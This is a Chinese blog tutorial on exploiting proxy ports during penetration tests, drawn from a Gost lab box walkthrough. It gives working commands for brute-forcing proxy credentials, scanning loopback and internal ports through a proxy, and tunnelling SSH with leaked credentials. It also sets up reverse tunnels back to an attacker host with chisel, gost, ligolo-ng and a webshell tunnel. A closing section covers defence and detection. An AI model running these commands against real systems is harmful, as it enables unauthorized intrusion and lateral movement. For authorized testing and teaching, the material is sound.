打靶机时遇到的代理端口及应对方法

渗透测试中的代理:从识别、探测到内网穿透的完整实战指南

起源于一次真实靶机(Gost, 192.168.56.122)的渗透:一个泄露了凭据的 gost 代理端口,最终成为打进内网、隧穿到只监听 127.0.0.1 的 SSH、并拿下 root 的关键跳板。

本文以此为引子,系统梳理渗透测试中遇到各种代理端口 / 代理软件时的应对方法:如何识别、如何与之”对话”、如何借它探测内网、如何让 SSH 穿过它,以及如何把一个代理升级成完整的内网隧道。

目标读者:做授权渗透测试 / 红队 / CTF 的同学。所有技术仅用于合法授权场景。


目录

  1. 从 Gost 案例说起:代理为什么是渗透的黄金资产
  2. 代理的基础模型:正向、反向、协议
  3. 识别代理:端口、指纹、常见软件
  4. 与代理”对话”:HTTP CONNECT 与 SOCKS 协议拆解
  5. 通过代理探测内网:命令与工具大全
  6. SSH 穿过代理的 N 种姿势
  7. 从单点代理到完整内网隧道:Pivoting
  8. 按软件分类的实战应对手册
  9. 常见返回码、报错与排查
  10. 代理利用的防御与检测视角
  11. 速查表(Cheat Sheet)

1. 从 Gost 案例说起

在 Gost 靶机里,攻击链的”七寸”就是那个代理端口。回顾一下:

  • nmap 扫到 1680/tcp 返回 Proxy-Authenticate: Basic realm="gost" —— 一个需要认证的代理。
  • Web 端泄露了配置,拿到代理凭据 root:123,并得知它是 auto 模式(自动识别 HTTP/SOCKS5)。
  • 用这个代理做 HTTP CONNECT 隧道,扫描目标的 127.0.0.1,发现 SSH 只监听本地的 22 端口(外部 nmap 根本看不到)。
  • ssh 通过 ncat 走代理连进去,拿到初始 shell。

这说明了代理在渗透中的三重价值:

价值 说明
暴露面扩展 代理能访问”它自己看得到”的网络——通常包括 127.0.0.1 和内网网段,这些都是外部扫不到的
跳板 / Pivot 拿下一个代理 = 拿到一张进入内网的”门票”,后续所有流量可经它转发
凭据复用线索 代理凭据常和系统账户复用(如本例 root:123 同时是 SSH 口令)

记住一句话:渗透中看到任何代理端口,都要问三件事——它认证吗?它能到哪?我能让什么流量穿过它?


2. 代理的基础模型

要灵活应对代理,先把概念理清。代理本质是”替你转发流量的中间人”,主要从三个维度区分。

2.1 正向代理 vs 反向代理

  • 正向代理 (Forward Proxy):客户端主动配置使用的代理,代理”代表客户端”去访问目标。渗透中遇到的可控代理(gost、squid、SOCKS)大多是这类——你把它当跳板。
  • 反向代理 (Reverse Proxy):部署在服务端前面,”代表服务器”接收请求(nginx、HAProxy、Traefik)。渗透中它更多是攻击面(SSRF、路由绕过、Host 头注入、内部服务暴露)。

经验:开放在非标准端口、需要 CONNECT/SOCKS 握手的,多半是正向代理跳板;监听 80/443 且后面挂着 web 应用的,多半是反向代理。

2.2 按协议分类

协议 默认端口(常见) 特征 能转发什么
HTTP 代理 3128, 8080, 8000, 808x 明文 HTTP 头,GET http://... 仅 HTTP
HTTP CONNECT 同上 / 任意 CONNECT host:port 建立隧道 任意 TCP(含 HTTPS、SSH、RDP…)
SOCKS4 / 4a 1080 二进制握手,4a 支持域名 任意 TCP
SOCKS5 1080, 1081, 9050(Tor) 二进制握手,支持 UDP、认证、域名 任意 TCP + UDP
多协议/auto 任意(gost 1080/8080…) 同端口自动识别 HTTP/SOCKS 看实现

关键区别:普通 HTTP 代理只能转发 HTTP,但 HTTP CONNECT 能隧穿任意 TCP——这正是 Gost 案例里 SSH 能穿过去的原因。SOCKS5 最强(任意 TCP + UDP + 域名解析)。

2.3 认证方式

  • 无认证:直接用,最理想。
  • HTTP BasicProxy-Authenticate: Basic realm=...):用户名密码 base64,常被泄露或弱口令。
  • SOCKS5 用户名/密码认证(RFC 1929)。
  • NTLM / Negotiate(企业环境 squid/ISA/Forefront):需要域凭据。

Gost 案例返回的 Proxy-Authenticate: Basic realm="gost" 就是 HTTP Basic,凭据 root:123 是从配置文件泄露拿到的。

2.4 代理软件 != 隧道软件

还有一类不是”标准代理协议”,而是专用内网穿透/隧道工具,渗透中既可能是目标遗留的,也可能是你自己上传的:

  • 轻量内网穿透gostfrpchiselngrokligolo-ngrpivotreGeorg/Neo-reGeorg(webshell 隧道)
  • C2 内置代理:Metasploit route + socks_proxy、Cobalt Strike SOCKS、sliver
  • SSH 自带-D(动态 SOCKS)、-L/-R(端口转发)

这些会在第 7、8 节展开。


3. 识别代理

发现一个开放端口后,第一步是判断”它是不是代理、是哪种代理”。

3.1 nmap 指纹

1
2
3
4
5
6
# 版本探测 + 默认脚本
nmap -sV -sC -p <port> <target>

# 针对代理的脚本
nmap --script socks-open-proxy -p 1080 <target>
nmap --script http-open-proxy -p 8080,3128 <target>

典型指纹片段(来自 Gost 案例):

1
2
3
1680/tcp open  http-proxy (proxy authentication required)
| HTTP/1.1 407 Proxy Authentication Required
|_ Proxy-Authenticate: Basic realm="gost"
  • 407 Proxy Authentication Required这是 HTTP 代理,且需要认证。
  • realm="gost" → 直接暴露了软件名(gost)。
  • nmap 还提示 “soft-matched socks5” → 说明同端口也响应 SOCKS5(auto 模式)。

3.2 手工 banner / 行为探测

测 HTTP 代理(看是否返回 407 或能否 CONNECT):

1
2
3
4
5
# 直接当 HTTP 代理用
curl -v -x http://<target>:<port> http://example.com/

# 测 CONNECT 能力
curl -v -x http://<target>:<port> https://example.com/

测 SOCKS

1
2
3
4
curl -v --socks5 <target>:<port> http://example.com/
curl -v --socks4 <target>:<port> http://example.com/
# SOCKS5 + 远端 DNS 解析
curl -v --socks5-hostname <target>:<port> http://example.com/

测 auto / 多协议:分别用 HTTP、SOCKS4、SOCKS5 各打一次,看哪个握手成功。Gost 这种 auto 会全都能用。

3.3 常见端口 → 软件的经验映射

端口 可能的软件/用途
3128 Squid(经典 HTTP 代理)
8080 / 8000 / 8888 通用 HTTP 代理 / 应用代理 / Burp
1080 / 1081 SOCKS(Dante、ss、各种)
9050 / 9150 Tor SOCKS
7890 / 7891 Clash
1087 / 8889 各类客户端默认
4145 SOCKS4(老)
任意高位 gost / frp / chisel / ligolo 等隧道工具

注意:端口只是线索,一切以实际握手为准。攻击者部署的隧道工具常用随机高位端口。

3.4 从配置 / 进程确认(已有立足点时)

拿到 shell 后,确认代理软件最直接:

1
2
3
4
ps aux | grep -iE 'gost|frp|chisel|squid|danted|3proxy|ngrok|ligolo|socks'
netstat -tlnp 2>/dev/null || ss -tlnp
cat /etc/squid/squid.conf 2>/dev/null
ls -la /etc/frp* /etc/gost* 2>/dev/null

Gost 案例正是从 /admin/config(web 泄露)+ 进程列表 gost -L root:123@:1680 -api 127.0.0.1:53000 完整还原了代理配置。


4. 与代理”对话”

理解底层协议能让你在工具失灵时手工操作,也能更好地排错。

4.1 HTTP 代理(转发模式)

客户端把完整 URL放进请求行,代理替你去取:

1
2
3
4
GET http://internal-site/ HTTP/1.1
Host: internal-site
Proxy-Authorization: Basic cm9vdDoxMjM= ← base64("root:123")

手工演示:

1
2
printf 'GET http://127.0.0.1:8000/ HTTP/1.1\r\nHost: 127.0.0.1\r\nProxy-Authorization: Basic %s\r\n\r\n' \
"$(printf 'root:123' | base64)" | ncat <target> <port>

4.2 HTTP CONNECT(隧道模式)—— 重点

CONNECT 让代理建立一条到 host:port裸 TCP 隧道,之后双方流量原样转发。这就是为什么能隧穿 SSH/RDP/HTTPS:

1
2
3
4
CONNECT 127.0.0.1:22 HTTP/1.1
Host: 127.0.0.1:22
Proxy-Authorization: Basic cm9vdDoxMjM=

代理回 HTTP/1.1 200 Connection established 后,这条 TCP 通道就”透明”了,你直接在上面跑 SSH 协议即可。ncat --proxy ... --proxy-type http 帮你完成这一握手(见第 6 节)。

手工验证 CONNECT 是否可达内网某端口:

1
2
3
printf 'CONNECT 127.0.0.1:22 HTTP/1.1\r\nHost: x\r\nProxy-Authorization: Basic %s\r\n\r\n' \
"$(printf 'root:123' | base64)" | ncat <target> 1680
# 返回 "200 Connection established" 后会接着出现 SSH-2.0-... banner

4.3 SOCKS5 握手(简述)

SOCKS5 是二进制协议,流程:

  1. 客户端发 05 | nmethods | methods(方法:00 无认证 / 02 用户名密码)。
  2. 服务端选一个方法。
  3. (若需要)用户名密码认证(RFC 1929)。
  4. 客户端发 CONNECT 请求:05 01 00 <addrtype> <addr> <port>
  5. 建立连接,开始转发。

手工拼 SOCKS5 包很繁琐,实战直接用工具(curl --socks5、proxychains、ncat --proxy-type socks5)。

4.4 暴破/猜测代理凭据

代理认证也能爆破(注意授权与速率):

1
2
3
4
# hydra 打 HTTP 代理
hydra -L users.txt -P pass.txt http-proxy://<target>:<port>

# 或用 ncat/脚本循环 CONNECT,看 200 vs 407

但优先找凭据泄露(配置文件、环境变量、Web 信息泄露)——像 Gost 案例那样,比爆破高效得多。


5. 通过代理探测内网

拿到可用代理后,最有价值的动作是:用它扫描它能到达、而你直接到不了的网络——尤其是 127.0.0.1 和内网网段。

5.1 核心思路:返回码 = 端口状态

用代理对目标内网逐端口发起连接,根据代理的响应判断端口开闭。以 Gost 案例的 HTTP CONNECT 代理为例:

1
2
3
4
5
P="http://root:123@<target>:1680"
for port in 22 80 443 3306 5432 6379 8080 9000 53000 27017; do
out=$(curl -s -m4 -o /dev/null -w "%{http_code}" -x "$P" "http://127.0.0.1:$port")
echo "port $port -> $out"
done

解读返回码(HTTP CONNECT 场景):

curl 返回 含义
000 连上了,但目标返回非 HTTP 数据(如 SSH/MySQL banner)→ 端口开放
200 / 301 / 404 等正常 HTTP 码 目标是 HTTP 服务 → 端口开放
503 / 502 代理无法连接目标 → 端口关闭/不可达
超时 被过滤或代理无响应

Gost 案例正是据此发现 port 22 -> 000(SSH banner)和 port 53000 -> 404(gost API)。

5.2 proxychains —— 让任意工具走代理

proxychains4(Kali 自带)通过 LD_PRELOAD 劫持 socket 调用,把几乎任何 TCP 工具的流量塞进代理。

配置 /etc/proxychains4.conf(或自定义文件):

1
2
3
4
5
[ProxyList]
# 类型 IP 端口 [用户 密码]
http <target> 1680 root 123
# 或 SOCKS5:
# socks5 <target> 1080 user pass

然后:

1
2
3
4
5
6
7
8
9
10
# 用 nmap 经代理扫内网(必须 -sT 全连接 + -Pn,不能用 SYN 扫描)
proxychains4 nmap -sT -Pn -n -p 22,80,443,3306,6379 127.0.0.1

# 扫整个内网段
proxychains4 nmap -sT -Pn -n -p- 10.10.10.0/24

# 经代理连数据库 / redis / web
proxychains4 mysql -h 127.0.0.1 -u root -p
proxychains4 redis-cli -h 127.0.0.1
proxychains4 curl http://10.10.10.5/

proxychains 经 nmap 的铁律

  • 必须 -sT(TCP 全连接),SYN/UDP/ICMP 扫描无法经代理。
  • 必须 -Pn(跳过主机发现,代理不转发 ICMP)。
  • -n 关 DNS(或在 conf 里设 proxy_dns)。
  • 慢,建议缩小端口范围、调 proxychainstcp_read_time_out

proxychains4.conf 关键项:

1
2
3
4
5
strict_chain        # 严格按顺序串联
# dynamic_chain # 跳过不可用代理
proxy_dns # 远端解析 DNS(防 DNS 泄露 + 能解析内网域名)
tcp_read_time_out 8000
tcp_connect_time_out 5000

5.3 专用扫描器(更快)

  • proxychains + fscan / kscan:内网综合扫描器,配合代理识别存活、端口、服务、弱口令。
  • dnscat / dns 探测:在受限网络可用。
  • 手写 bash/python 扫描循环:像 5.1 那样,可控、隐蔽、依赖少。在受限靶机上往往最实用。

通过 SOCKS5 时的 bash 扫描示例(用 ncat 探测):

1
2
3
4
for p in 22 80 445 3389 8080; do
timeout 3 ncat --proxy <target>:1080 --proxy-type socks5 127.0.0.1 $p </dev/null \
&& echo "$p open" || echo "$p closed"
done

5.4 探测什么?内网视角的优先级

经代理进入内网后,重点找:

  1. 只监听 127.0.0.1 的服务——这是代理的最大红利(管理后台、数据库、未授权 API、调试端口)。Gost 案例的 SSH 和 gost API 都是。
  2. 内网其他主机(横向):192.168.x.x10.x.x.x172.16-31.x.x
  3. 高价值服务:SSH(22)、SMB(445)、RDP(3389)、数据库(3306/5432/1433/6379/27017/9200)、内网 Web、K8s/Docker API、CI/CD。
  4. 元数据服务(云上):169.254.169.254

6. SSH 穿过代理的 N 种姿势

Gost 案例的关键一跳是”让 SSH 走代理”。这里把所有常见做法讲全。

6.1 用 ncat 作 ProxyCommand(HTTP CONNECT 代理)

这是 Gost 案例采用的方法。sshProxyCommand 指定一个外部程序去建立到目标的连接,%h/%p 是目标主机/端口占位符:

1
2
3
ssh -o "ProxyCommand=ncat --proxy <proxy_host>:<proxy_port> --proxy-type http \
--proxy-auth <user>:<pass> %h %p" \
<ssh_user>@<ssh_target>

Gost 实例(含免交互、跳过 hostkey):

1
2
3
4
sshpass -p '123' ssh \
-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=15 \
-o "ProxyCommand=ncat --proxy 192.168.56.122:1680 --proxy-type http --proxy-auth root:123 %h %p" \
root@127.0.0.1 'id'

要点:

  • %h %pSSH 最终要到达的目标(这里是靶机自己的 127.0.0.1:22,对代理而言就是”它本地的 22”)。
  • --proxy-type 可选 http / socks4 / socks5
  • 把这条命令封装成脚本(/tmp/sshcmd.sh "$@")反复用,省事。

6.2 用 ncat / socat 作 ProxyCommand(SOCKS 代理)

1
2
3
4
5
# SOCKS5
ssh -o "ProxyCommand=ncat --proxy <proxy>:1080 --proxy-type socks5 %h %p" user@target

# 用 socat 走 SOCKS5(含远端 DNS)
ssh -o "ProxyCommand=socat - SOCKS4A:<proxy>:%h:%p,socksport=1080" user@target

6.3 OpenSSH 原生 ProxyCommand(无需 ncat)

新版 OpenSSH 自带代理支持:

1
2
3
4
5
6
7
8
9
# 内置 HTTP CONNECT 代理(OpenSSH 7.3+)
ssh -o "ProxyUseFdpass=no" \
-o "ProxyCommand=/usr/bin/nc -X connect -x <proxy>:<port> %h %p" user@target

# 用 -X 指定代理协议(OpenBSD nc / 部分 nc 实现)
# -X connect : HTTP CONNECT
# -X 5 : SOCKS5
# -X 4 : SOCKS4
ssh -o "ProxyCommand=nc -X 5 -x <proxy>:1080 %h %p" user@target

6.4 ProxyJump(多级跳板)

如果代理本身是一台你已有 SSH 权限的跳板机,用 -J 最干净:

1
2
3
4
# 经 jump1 再到 target
ssh -J user@jump1 user@target
# 多级
ssh -J user@jump1,user@jump2 user@target

写进 ~/.ssh/config 更舒服:

1
2
3
4
5
6
7
8
9
10
Host target
HostName 10.10.10.50
User admin
ProxyJump bastion

Host bastion
HostName 192.168.56.122
User root
# 经第三方代理软件再连 bastion
ProxyCommand ncat --proxy 1.2.3.4:1080 --proxy-type socks5 %h %p

6.5 经 proxychains 连 SSH

1
proxychains4 ssh user@127.0.0.1

简单粗暴,但交互式 shell 下 proxychains 偶有兼容问题,重要场景更推荐 ProxyCommand。

6.6 拿到 SSH 后反向把内网”拉出来”

一旦 SSH 进去了,SSH 本身就是最好的隧道工具:

1
2
3
4
5
6
7
8
9
# 动态 SOCKS(本地 1080 → 经 target 访问 target 的整个可见网络)
ssh -D 1080 -N -f user@target
# 之后本地:proxychains4 / curl --socks5 127.0.0.1:1080 任意访问内网

# 本地端口转发:把 target 的内网 redis 映射到本地
ssh -L 6379:10.10.10.9:6379 -N user@target

# 远程端口转发:把本地服务送进内网
ssh -R 8000:127.0.0.1:8000 -N user@target

Gost 案例里,进了 SSH 后可立刻 ssh -D 把靶机的整个内网视角”接管”到本地。


7. 从单点代理到完整内网隧道

当目标只给你一个 webshell 或一个受限端口时,需要自己搭隧道把内网拉出来。下面是主流工具,按场景选。

7.1 chisel(最常用,TCP/UDP over HTTP)

单文件 Go 程序,攻击机做 server,目标做 client,反向把目标内网映射出来。

1
2
3
4
5
6
7
8
# 攻击机(server,反向模式)
./chisel server -p 8080 --reverse

# 目标机(client):把自己的内网通过 SOCKS 暴露给攻击机的 1080
./chisel client <attacker>:8080 R:1080:socks

# 攻击机现在用 SOCKS5 127.0.0.1:1080 访问目标内网
proxychains4 nmap -sT -Pn 10.10.10.0/24

7.2 ligolo-ng(体验最好,免 proxychains)

通过创建虚拟网卡,把内网网段当成本地路由,无需 proxychains,nmap 可正常 SYN 扫描。

1
2
3
4
5
6
7
# 攻击机(proxy/agent 服务端)
./proxy -selfcert
# 目标机(agent)
./agent -connect <attacker>:11601 -ignore-cert
# 在 ligolo 控制台 start 后,添加路由:
# ip route add 10.10.10.0/24 dev ligolo
# 之后直接 nmap/curl 10.10.10.x,像本地一样

7.3 frp(功能全面的内网穿透)

1
2
3
4
5
6
7
8
9
10
11
12
# frps.ini(攻击机/公网)
[common]
bind_port = 7000

# frpc.ini(目标机)
[common]
server_addr = <attacker>
server_port = 7000
[socks5]
type = tcp
remote_port = 1080
plugin = socks5

7.4 reGeorg / Neo-reGeorg(只有 webshell 时)

把 SOCKS 代理隧道封装进 HTTP 请求,借一个上传的脚本(php/jsp/aspx)穿透。

1
2
3
4
# 目标:上传 tunnel.php(webshell 隧道端点)
# 攻击机:
python3 neoreg.py -k <key> -u http://victim/tunnel.php
# 本地起 SOCKS5 :1080,proxychains 走它

7.5 Metasploit 内置 pivot

1
2
3
4
5
6
# meterpreter 会话里加路由
run autoroute -s 10.10.10.0/24
# 起 SOCKS 代理
use auxiliary/server/socks_proxy
set SRVPORT 1080 ; set VERSION 5 ; run
# msf 外部用 proxychains 走 1080

7.6 gost(本案例的”主角”,也可你自己用)

gost 本身就是强大的隧道工具,可正向可反向、多协议:

1
2
3
4
5
6
7
8
# 在目标起一个 SOCKS5(如果你能执行命令)
gost -L socks5://:1080

# 反向:目标主动连回攻击机,建立隧道
# 攻击机:
gost -L rtcp://:1080/127.0.0.1:1080 -L socks5://:1080
# 目标:
gost -L socks5://:0 -F forward+ws://<attacker>:443

7.7 工具选型速查

场景 推荐
目标能跑二进制、要稳要快 ligolo-ng > chisel
只有 webshell Neo-reGeorg
已有 SSH ssh -D / ProxyJump(零额外工具)
已有 meterpreter autoroute + socks_proxy
需要长期、多端口、UDP frp / gost

8. 按软件分类的实战应对手册

遇到具体代理软件时的针对性打法。

8.1 Squid(HTTP/HTTPS 代理,常见 3128)

  • 未授权开放:直接 curl -x http://target:3128 http://internal/ 探内网;测 CONNECT 能否隧穿。
  • 看 ACL 绕过:Squid 常配 ACL 限制可达目标,尝试不同 Host、IP 写法(http://127.0.0.1http://[::1]、十进制 IP、http://internal.local)。
  • 配置泄露/etc/squid/squid.conf 里常有内网网段、上游代理、缓存目录线索。
  • 缓存投毒 / SSRF:开放代理本身就是 SSRF 跳板,可打云元数据、内网 web。

8.2 SOCKS5(Dante / ss / 各类)

  • curl --socks5-hostnameproxychainssocks5)直接接入。
  • SOCKS5 支持 UDP——可做 DNS、部分协议的转发。
  • 无认证的 SOCKS5 是横向的高速公路,立即拿来扫内网。

8.3 gost(多协议 / auto,本案例)

  • auto 模式下 HTTP/SOCKS 都试。
  • 认证多为 Basic 或 -L user:pass@优先找配置/进程里的明文凭据
  • 注意它常伴随 -api(管理 API,可能在 127.0.0.1,经代理自己能访问到——可读配置甚至改服务)和 -metrics(Prometheus,泄露客户端 IP、流量、内网拓扑线索)。Gost 案例的 9000/metrics 就泄露了客户端 192.168.56.104

8.4 frp / chisel / ngrok(隧道工具,多为目标遗留或被你利用)

  • 发现目标已在跑 frpc/chisel,说明内网已被某条隧道打通,找它的配置(server 地址、token、映射端口)可顺藤摸瓜。
  • ngrok:留意 ngrok 进程和 ~/.ngrok2/ngrok.yml,authtoken 可能泄露。

8.5 nginx / HAProxy / Traefik(反向代理,攻击面视角)

  • SSRF / 路由绕过:构造特殊路径、Host 头、X-Forwarded-*,访问被代理隐藏的内部服务(/internal//admin/、actuator 端点)。
  • 路径规范化差异/..;/%2e%2e、双重编码绕过 location 限制。
  • 暴露内部 upstream:错误配置会把内网服务直接代理出来。

8.6 Tor / Clash 等客户端代理

  • 渗透中遇到(如目标机装了)通常是出网通道线索,或可借其匿名性——但更多是取证/溯源相关,本文不展开。

9. 常见返回码、报错与排查

现象 含义 / 处理
407 Proxy Authentication Required 代理需要认证 → 找凭据 / 爆破
HTTP/1.1 200 Connection established CONNECT 隧道建好了 → 可上 SSH 等
curl -w %{http_code} 返回 000 连上但非 HTTP 响应(banner)→ 端口很可能开放
502 / 503 代理连不上目标 → 端口关闭 / ACL 拦截
ncat: Proxy authentication failed 凭据错或格式错(注意 --proxy-auth user:pass
SSH Connection closed by remote 经代理 目标 22 其实没开 / ACL 限制 CONNECT 目标
proxychains nmap 全显示 open/filtered 没加 -sT -Pn,或代理不支持该流量
DNS 泄露 / 解析失败 proxy_dns,或用 --socks5-hostname 远端解析
速度极慢 proxychains 串联固有开销;缩小端口、调超时、改用 ligolo

通用排查顺序

  1. 代理本身通不通?curl -v -x ... http://一个已知外网
  2. 协议对不对?HTTP / SOCKS4 / SOCKS5 逐个试。
  3. 认证对不对?看 407 / 握手失败。
  4. 目标端口对代理可达吗?先 CONNECT/扫一遍。
  5. 工具兼容吗?ProxyCommand 比 proxychains 更稳。

10. 防御与检测视角

红队要懂蓝队,才能更隐蔽,也能写出有价值的修复建议。回到 Gost 案例的教训:

为什么代理成了致命入口?

  1. 代理凭据明文泄露/admin/config + 目录列表)。→ 配置文件移出 Web 根、不明文存凭据、关闭目录列表。
  2. 弱口令且复用root:123 同时是 SSH 口令)。→ 强密码 + 凭据隔离。
  3. 代理允许 CONNECT 到任意本地端口,把只监听 127.0.0.1 的 SSH 变相暴露。→ 限制代理可转发的目标(白名单),禁止访问回环敏感端口。
  4. 管理 API / metrics 暴露内网信息。→ API 绑定本地 + 强认证;metrics 限制访问。

检测要点(蓝队)

  • 监控异常的 CONNECT 请求,尤其指向 127.0.0.1:22/3389/3306 等。
  • 代理日志里同一源 IP 短时间大量不同目标端口 = 端口扫描特征。
  • 出现非业务的隧道进程(chisel/frpc/gost/ngrok)即高危。
  • 出口侧检测长连接、非常规端口的加密隧道。
  • 主机侧:监控 ProxyCommandssh -D/-L/-Rautoroute 等 pivot 行为。

加固清单

  • 最小化暴露:代理服务绑定到必要接口,强认证 + 速率限制 + 目标白名单。
  • 网络分段:内网服务不应能被一个被攻陷的边界代理任意访问。
  • 凭据管理:禁止明文存储与复用,定期轮换。
  • 监控隧道工具特征与异常出站连接。

11. 速查表

识别

1
2
3
4
5
6
7
nmap -sV -sC -p <port> <target>
nmap --script socks-open-proxy -p 1080 <target>
nmap --script http-open-proxy -p 3128,8080 <target>
curl -v -x http://<t>:<p> http://example.com/ # HTTP 代理
curl -v -x http://<t>:<p> https://example.com/ # CONNECT
curl -v --socks5 <t>:<p> http://example.com/ # SOCKS5
curl -v --socks5-hostname <t>:<p> http://example.com/ # SOCKS5 + 远端 DNS

经代理探测内网

1
2
3
4
5
6
7
8
9
10
11
12
# HTTP CONNECT 代理逐端口(000/200=开, 503=关)
P="http://user:pass@<t>:<port>"
for p in 22 80 443 3306 6379 8080; do
curl -s -m4 -o /dev/null -w "$p -> %{http_code}\n" -x "$P" http://127.0.0.1:$p
done

# proxychains + nmap(务必 -sT -Pn -n)
echo "http <t> <port> user pass" >> /etc/proxychains4.conf
proxychains4 nmap -sT -Pn -n -p- 10.10.10.0/24

# SOCKS5 + ncat 探测
ncat --proxy <t>:1080 --proxy-type socks5 127.0.0.1 22 </dev/null

SSH 穿代理

1
2
3
4
5
6
7
8
9
10
11
# HTTP CONNECT(Gost 法)
ssh -o "ProxyCommand=ncat --proxy <t>:<port> --proxy-type http --proxy-auth user:pass %h %p" u@host
# SOCKS5
ssh -o "ProxyCommand=ncat --proxy <t>:1080 --proxy-type socks5 %h %p" u@host
# OpenBSD nc
ssh -o "ProxyCommand=nc -X connect -x <t>:<port> %h %p" u@host # HTTP CONNECT
ssh -o "ProxyCommand=nc -X 5 -x <t>:1080 %h %p" u@host # SOCKS5
# 跳板机
ssh -J user@bastion user@target
# 经 proxychains
proxychains4 ssh user@127.0.0.1

拿到 SSH 后建隧道

1
2
3
ssh -D 1080 -N -f user@target                 # 动态 SOCKS
ssh -L 6379:10.10.10.9:6379 -N user@target # 本地转发
ssh -R 8000:127.0.0.1:8000 -N user@target # 远程转发

自带隧道工具

1
2
3
4
5
6
# chisel
./chisel server -p 8080 --reverse # 攻击机
./chisel client <atk>:8080 R:1080:socks # 目标
# ligolo-ng
./proxy -selfcert # 攻击机
./agent -connect <atk>:11601 -ignore-cert # 目标

结语

代理是渗透测试中”以小博大”的支点:一个看似普通的端口,可能就是通向整个内网的隧道入口。应对的核心方法论始终一致——

  1. 识别:它是什么协议、要不要认证、是哪个软件。
  2. 对话:用对协议(HTTP/CONNECT/SOCKS),拿到能用的通道。
  3. 探测:借它去看你直接看不到的网络,尤其 127.0.0.1 和内网段。
  4. 穿透:让 SSH、扫描器、利用工具都能经它工作;必要时自建隧道把内网整体拉出来。
  5. 升级:把单点代理变成稳定的 pivot,支撑后续横向。

Gost 靶机用一条 泄露代理凭据 → CONNECT 隧穿到本地 SSH → 进内网 的链子,把这套方法论演绎得淋漓尽致。把本文的命令和思路内化,下次再见到任何代理端口,你都能迅速判断它的价值并把它”为我所用”。

再次声明:本文所有技术仅用于授权范围内的渗透测试、红队演练与安全研究。未经授权对他人系统使用属违法行为。


打靶机时遇到的代理端口及应对方法
http://example.com/2026/06/11/打靶机时遇到的代理端口及应对方法/
Author
Skyarrow
Posted on
June 11, 2026
Licensed under